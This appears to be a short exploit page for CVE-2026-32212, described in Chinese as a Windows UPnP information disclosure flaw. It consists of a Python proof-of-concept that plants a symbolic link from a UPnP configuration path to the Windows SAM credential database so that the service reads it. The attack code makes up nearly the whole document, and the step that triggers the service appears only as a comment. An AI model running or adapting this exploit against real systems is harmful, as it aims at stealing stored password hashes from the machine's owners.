CVE-2026-32212 Windows UPNP组件信息泄露漏洞

import os # PoC Concept for CVE-2026-32212 # This demonstrates creating a symlink to exploit improper link resolution. def create_malicious_link(target, link_name): try: # Create a symbolic link pointing to a sensitive file os.symlink(target, link_name) print(f"[+] Created symlink: {link_name} -> {target}") except Exception as e: print(f"[-] Error creating link: {e}") def trigger_exploit(): # Target a sensitive system file (e.g., SAM database) sensitive_file = r"C:\Windows\System32\config\SAM" # The path that upnp.dll is expected to access vulnerable_path = r"C:\ProgramData\Microsoft\UPnP\Config.xml" print(f"[*] Attempting to exploit CVE-2026-32212...") create_malicious_link(sensitive_file, vulnerable_path) # In a real scenario, trigger the UPnP service to read the file print(f"[*] Waiting for UPNP service to access {vulnerable_path}...") print(f"[*] If successful, the service will read {sensitive_file} via the link.") if __name__ == "__main__": trigger_exploit()